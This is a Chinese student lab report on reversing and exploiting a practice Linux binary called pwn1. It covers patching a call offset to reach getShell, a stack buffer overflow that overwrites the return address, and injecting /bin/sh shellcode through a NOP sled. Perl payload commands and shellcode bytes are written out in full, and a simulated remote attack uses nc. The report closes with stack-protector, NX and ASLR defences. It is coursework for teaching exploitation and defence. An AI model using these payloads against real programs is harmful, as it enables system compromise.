exp1 逆向与Bof基础实验报告
实验报告
课程:网络对抗技术 姓名:张俊怡 学号:20191223
实验名称:PC平台逆向破解
1 实践说明
1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
2.直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
call指令:CALL(LCALL)指令执行时,进行两步操作:
(1)将程序下一条指令的位置的IP压入堆栈中;
(2)转移到调用的子程序。
首先,将解压好的二进制可执行的pwn1文件拖至kali的桌面
右键pwn1,选择“在这里打开终端”
进行反汇编操作,输入指令:
objump -d pwn1 | more
在内存地址“80484b5”处,发现指令”call 8048491“
- 这条指令的意思是调用8048491处的foo函数;
- 可以看见其机器指令为 “e8 d7 ff ff ff”,e8的意思是跳转;
- 此时eip寄存器的值是下一条指令的地址:80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
实践一要求我们手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数;所以修改地址偏移量“d7 ff ff ff”为“getshell - 0x80484ba”的结果的补码。
-
getshell的地址如图所示:0804847d
-
使用科学计算器。算出0x0804847d-0x080484ba对应的补码为:c3ffffff
-
我们修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
-
此处,我们选择复制pwn1到pwn2,在pwn2中进行修改
-
输入如下,将显示模式切换为16进制模式
:%!xxd -
具体找到e8 d7 ,将d7改为c3即可,然后转换为原格式,保存退出
我们再次进行反汇编,看看变化;这里call跳转为了getshell。
运行修改后的代码,会得到shell提示符#
3.通过构造输入参数,造成BOF攻击,改变程序执行流
知识要求:堆栈结构,返回地址c
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术
3.1反汇编,了解程序的基本功能
对代码进行反汇编
objdump -d pwn1 | more
我们的目标是触发getshell这个函数;
=
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞;
= 这里读入字符串,但系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 =
== 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba ==
- 原因:call指令等价于先push eip ,再jump,eip的内容是下一条指令的内存地址。
3.2确认输入字符串哪几个字符会覆盖到返回地址
这个问题老师上课讲到了两种方法:
- 第一次是不断的尝试,输入的字符串从1位到n位,直到发生段错误为止。
- 第二种是之间读汇编代码,找到缓冲区的长度。
很明显,我们选择第二种方法,我们要填满堆栈的参数部分(28字节)以及ebp部分(4字节),所以第33到第36字节就设置为getshell的地址。 - 验证一下我的猜想:
== 输入的字符串为111111112222222233333333444444445678
== 进入gdb调试,info r查看寄存器内容:
== 此时eip的内容为:0x38373635,也就是8756的ASCLL码。
得出结论,5678那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
3.3确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
- 根据上个步骤,5678这四个数在eip中保存为:0x38373635,所以这里我们要输入的是11111111222222223333333344444444\x7d\x84\x04\x08
3.4构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 关于Perl:
Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。
可以使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入,通过管道符“|”,作为pwn1的输入,成功执行。
4.注入Shellcode并执行
——
4.1 准备一段Shellcode
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
——
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
——
4.2 准备工作
先通过execstack - s指令来设置堆栈可执行;
再用 execstack -q 指令查询文件的堆栈是否可执行;
- 在云班课里刘老师提出了execstack指令不存在的解决方法。
随后关闭地址随机化;
4.3 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
--
我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
注意:输入该代码后回车一次即可,无需多次回车至出现������1�Ph//shh/bin��PS��1Ұ字样,因为出现该字样后在前往另外一个终端时会无法attach上该进程。
——
再开另外一个终端,用gdb来调试pwn1这个进程。
首先找到我的进程号为26405,随后启动gdb进行调试。
先attach上该进程,随后设置断点。
在continue之前,应返回原本进程输入一个回车!
从esp寄存器入手(此时esp为ffffd11c),找到shellcode:
- 注解:
examine命令缩写为x,格式:x/<n/f/u>。n:是正整数,表示需要显示的内存单元的个数,即从当前地址向后显示n个内存单元的内容,
一个内存单元的大小由第三个参数u定义。
看到 01020304了,再往前找 ↑
找到了shellcode:
这个返回地址占位也是对的;
所以将返回地址修改为:0xffffd100
再次运行,很遗憾,报错;
查找原因,同上,进入gdb调试;
看起来buf没问题
继续执行
仔细看实验指导书,发现跳坑了....
ebp寄存器的内容变成了一个很奇怪的值....
重新开始
结构为:anything+retaddr+nops+shellcode。
根据实验指导书的提升,
很明显,shellcode紧挨着返回地址,所以地址是0xffffd120(0xffffd11c+4)
于是我们把地址改为0xffffd120,再进行一次运行:
- 输入是:
perl -e 'print "A" x 32;print "\x20\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\x17\xff\xff\x00"' > input_shellcode
结果如图
- 成功!果然验证我的猜测。
4.5 结合nc模拟远程攻击
我是在同一台主机下的两个终端中运行的。
查看主机1的ip地址
主机1,模拟一个有漏洞的网络服务:(端口号为1223)
- -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
将一个终端弄成服务器,也就是被攻击机。
主机2,连接主机1并发送攻击载荷,获取主机1的shell:(此处需写上端口号)
成功执行!
5 Bof攻击防御技术
5.1 从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
GCC 中的编译器堆栈保护技术:
- 查看官方文档介绍。
stack-protector:保护函数中通过alloca()分配缓存以及存在大于8字节的缓存。缺点是保护能力有限。
stack-protector-all:保护所有函数的栈。缺点是增加很多额外栈空间,增加程序体积。
stack-protector-strong:在stack-protector基础上,增加本地数组、指向本地帧栈地址空间保护。
stack-protector-explicit:在stack-protector基础上,增加程序中显式属性"stack_protect"空间。
如果要停止使用stack-protector功能,需要加上-fno-stack-protector。
stack-protector性能:stack-protector > stack-protector-strong > stack-protector-all。
stack-protector覆盖范围:stack-protector < stack-protector-strong < stack-protector-all。
5.2注入入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
指令:
通过execstack -s pwn1 来设置堆栈可执行
通过execstack -q pwn1 来查询文件的堆栈是否可执行
5.3增加shellcode的构造难度
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。
这就给了做安全的人员一个很好的防范思路,让攻击者找不到返回地址,或者说攻击者试图注入的代码覆盖不到返回地址。
- 地址随机化能很好的达到此目的,程序每次运行时,返回地址都是变化的,刚调试好的攻击程序,也没有预测下一次运行时的具体地址的超能力!!
操作:
- /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
5.4从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
6 实验感想
回顾一下本次实验流程。第一个实践是手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数;这是非常好理解的操作,直接修改call指令中的地址偏移量(call指令=先push再jump,这里jump的地址=eip的内容+偏移量),让程序改变执行流程,直接跳转去我们想要执行的那个函数,达到攻击目的。难住我的地方在于对二进制文件的修改,在看实验指导书之前我对这块内容的理解是空白的,我一直在思考这种只有机器才能看懂的文件,人真的能看懂吗?直到看了同学们的过程,我才想到进制转换问题。。。直接用%!xxd命令就能实现转换成16进制。另外我还学到了e8是call指令的机器码,e8之后的8个字节是地址偏移量。
第二个实践是通过构造参数,覆盖函数返回地址造成bof攻击,关键点在于理解堆栈的结构,知道需要具体多少字节才能刚好覆盖返回地址,这就要求我们能看懂对应的汇编代码,而我之前有写汇编代码的基础,也做过相关实验,所以我很快就确定了哪几个字节是填入getshell地址的地方。但接着要怎么把16进制地址输入进去呢?perl很好地帮助到我,虽然之前没接触过,我就把它当作一种工具,会用就行了。
前两个实践进行攻击的代码都是原程序写好的,也就是说程序没有getshell这部分代码的话,不能达到使用shell命令的目的,对于攻击者来说,这并不是理想的攻击。而实践三能注入攻击代码,这给了攻击者很大的舞台。我学到了Linux下有两种基本构造攻击的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。只要nop在返回地址的位置,它就能滑行到shellcode。于是我们要寻找shellcode的地址,它就藏在esp寄存器之后(覆盖至esp需要1c+4个字节)。
总的来说,这次实验完成得比较顺利,让我更加深入了解了BOF攻击的原理、实现防范和如何防范。编写安全的程序时,一定要注意细节,写完后仔细审查,不要留下漏洞,让攻击者有可乘之机。